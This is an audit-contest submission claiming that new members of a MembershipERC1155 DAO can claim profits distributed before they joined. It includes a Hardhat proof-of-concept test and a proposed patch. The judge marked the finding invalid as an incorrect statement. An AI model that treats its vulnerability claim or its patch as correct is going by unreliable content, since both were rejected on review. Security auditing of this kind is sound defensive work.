Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Users who join the DAO after profit distribution still get all the previously distributed profits since the DAO was created

Summary

Users who recently join a MembershipERC1155 DAO after profit distributions have taken place still get all the previously distributed profits since the DAO was created. Ensuring funds of other qualified users in the contract are used to pay the new unqualified users.

Vulnerability Details

The calculation of the profit share of a user does not take into consideration when the user join the DAO. Hence, a new user, who recently joined a DAO, gets to claim all the previously distributed profit in proportion to his share (NFT balance) since the creation of the DAO. The funds in the MembershipERC1155 DAO contract meant for other qualified users are used to pay the new unqualified users.

Therefore when the qualified users come to claim profit there will not be sufficient tokens in the contract to pay them even though their MembershipERC1155::profitOf is greater than zero.

POC

Please paste the test below into the MembershipERC1155.test.ts file and run the test.

// -------------------------------- MembershipERC1155.test.ts ----------------------------------------------------
it(" Audit - User who joins the DAO after profit distribution still gets the all the previously distributed profits", async function () {
// user and another user joins the DAO
await membershipERC1155.connect(deployer).mint(user.address, 1, 100);
await membershipERC1155.connect(deployer).mint(anotherUser.address, 1, 100);
await testERC20.mint(nonAdmin.address, ethers.utils.parseEther("200"));
// send profit
await testERC20.connect(nonAdmin).approve(membershipERC1155.address, ethers.utils.parseEther("200"));
await membershipERC1155.connect(nonAdmin).sendProfit(testERC20.address, ethers.utils.parseEther("100"));
const userProfit = await membershipERC1155.profitOf(user.address, testERC20.address);
expect(userProfit).to.be.above(0);
const beforeBalance = await testERC20.balanceOf(deployer.address);
const initialContractBalance = await testERC20.balanceOf(membershipERC1155.address);
// deployer joins the DAO after profit distribution
await membershipERC1155.connect(deployer).mint(deployer.address, 1, 100);
const deployerProfit = await membershipERC1155.profitOf(deployer.address, testERC20.address);
// deployerProfit should be zero because he had not joined the DAO when profit was distributed but it is greater than zero
expect(deployerProfit).to.be.above(0);
// claim profit
await membershipERC1155.connect(deployer).claimProfit(testERC20.address);
const afterBalance = await testERC20.balanceOf(deployer.address);
const contractBalance = await testERC20.balanceOf(membershipERC1155.address);
// Check the balances
expect(afterBalance.sub(beforeBalance)).to.equal(deployerProfit);
expect(contractBalance).to.equal(initialContractBalance.sub(deployerProfit));
});

Impact

Qualified users who do not withdraw their profit shares on time would get no tokens as all the tokens in the MembershipERC1155 contract would have being paid to new unqualified users. Unqualified new users basically steals funds of the qualified old DAO members.

Tools Used

Manual review

Recommendations

Refactor the MembershipERC1155 contract as shown below.

+ mapping(address => uint256) internal sharedProfitAtEntry;
function mint(address to, uint256 tokenId, uint256 amount) external override onlyRole(OWP_FACTORY_ROLE) {
totalSupply += amount * 2 ** (6 - tokenId); // Update total supply with weight
+ sharedProfitAtEntry[to] = totalProfit;
_mint(to, tokenId, amount, "");
}
function getUnsaved(address account) internal view returns (uint256 profit) {
- return ((totalProfit - lastProfit[account]) * shareOf(account)) / ACCURACY;
+ return ((totalProfit - lastProfit[account] - sharedProfitAtEntry[account]) * shareOf(account)) / ACCURACY;
}
Updates

Lead Judging Commences

0xbrivan2 Lead Judge
about 1 year ago
0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!